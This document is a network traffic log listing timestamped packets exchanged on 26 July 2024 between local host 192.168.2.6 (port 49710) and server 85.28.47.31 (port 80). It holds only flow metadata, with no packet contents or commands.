Jul 26, 2024 10:36:08.124622107 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.124636889 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.125138044 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.125153065 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.125168085 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.125180960 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.125195980 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.125211000 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.125221014 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.125226974 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.125237942 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.125353098 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.125755072 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.125770092 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.125787020 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.125809908 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.125824928 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.125839949 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.125864029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.125873089 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.125873089 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.125963926 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.126617908 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.126633883 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.126648903 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.126662016 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.126710892 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.126786947 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.126910925 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.126926899 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.126940966 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.126955032 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.126969099 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.126970053 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.126986027 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.127002001 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.127042055 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.127104998 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.196805954 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.196835041 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.196851015 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.196865082 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.196881056 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.196894884 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.196897984 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.196897984 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.196912050 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.196965933 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.196994066 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.197482109 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.197607994 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.198101997 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.198117971 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.198142052 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.198157072 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.198172092 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.198220968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.198236942 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.198244095 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.198252916 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.198268890 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.198286057 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.198292017 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.198307037 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.198322058 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.198338032 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.198343039 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.198343039 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.198374033 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.198390961 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.199168921 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.199182987 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.199198961 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.199213982 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.199268103 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.199268103 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.199273109 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.199289083 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.199305058 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.199318886 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.199333906 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.199347019 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.199347973 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.199347019 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.199410915 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.212558031 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.212574005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.212588072 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.212620974 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.212635040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.212651968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.212652922 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.212652922 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.212667942 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.212718010 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.212760925 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.212966919 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.212982893 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.212999105 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.213015079 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.213031054 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.213047981 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.213047981 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.213145971 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.213510990 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.213526964 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.213542938 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.213557005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.213572979 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.213587046 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.213594913 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.213594913 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.213603020 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.213618040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.213634014 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.213643074 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.213648081 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.213697910 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.213697910 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.214397907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.214413881 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.214427948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.214451075 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.214466095 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.214478016 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.214479923 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.214497089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.214512110 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.214519978 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.214519978 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.214529991 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.214549065 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.214584112 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.215183973 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.215198040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.215213060 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.215226889 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.215240955 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.215243101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.215265036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.215279102 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.215279102 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.215293884 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.215310097 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.215323925 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.215338945 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.215339899 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.215378046 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.216325045 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.216341019 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.216356039 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.216371059 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.216386080 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.216398001 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.216401100 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.216418028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.216419935 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.216478109 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.222872972 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.222887039 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.222965002 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.223057985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.223073959 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.223088980 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.223114967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.223131895 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.223133087 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.223149061 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.223164082 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.223166943 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.223210096 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.223210096 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.223499060 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.223515987 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.223553896 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.223602057 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.224107981 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.224123001 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.224138021 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.224153996 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.224169970 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.224184990 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.224200010 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.224200010 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.224200010 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.224248886 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.224248886 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.224395990 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.224411011 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.224426985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.224441051 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.224456072 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.224471092 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.224473953 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.224473953 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.224497080 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.224512100 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.224517107 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.224526882 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.224581003 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.225392103 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.225409031 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.225424051 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.225439072 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.225452900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.225457907 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.225469112 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.225521088 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.225521088 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.225769997 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.225785971 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.225857019 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.225857019 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.295659065 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.295675039 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.295689106 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.295814991 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.295840979 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.295886040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.295938969 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.295954943 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.295969963 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.295979977 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.296010017 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.296010017 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.296406031 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.296423912 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.296437979 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.296452999 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.296468973 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.296494007 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.296505928 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.296505928 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.296509027 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.296556950 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.296633959 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.297287941 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.297305107 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.297318935 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.297333002 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.297347069 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.297360897 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.297374964 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.297388077 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.297391891 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.297391891 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.297466040 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.297504902 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.298122883 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.298140049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.298154116 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.298168898 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.298182964 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.298207998 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.298207998 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.298304081 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.305188894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.305306911 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.305341005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.305356026 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.305399895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.305443048 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.305458069 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.305460930 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.305473089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.305488110 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.305495024 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.305515051 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.305548906 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.305986881 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.306001902 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.306015968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.306030035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.306045055 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.306047916 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.306061983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.306081057 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.306111097 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.306111097 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.306152105 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.306811094 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.306835890 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.306849957 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.306864023 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.306874037 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.306879997 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.306972980 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.306972980 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.307292938 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.307307959 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.307322025 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.307336092 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.307349920 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.307364941 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.307369947 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.307380915 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.307425022 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.307471037 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.308166981 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.308182955 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.308197021 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.308211088 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.308224916 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.308238983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.308253050 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.308262110 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.308262110 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.308269024 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.308283091 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.308340073 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.308340073 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.309045076 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.309070110 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.309084892 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.309098959 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.309113026 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.309127092 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.309139013 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.309139013 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.309144020 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.309195995 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.309885025 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.309901953 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.309916019 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.309931040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.309945107 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.309961081 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.309961081 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.309974909 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.309995890 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.310045958 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.314821005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.314879894 CEST	80	49710	85.28.47.31	192.168.2.6
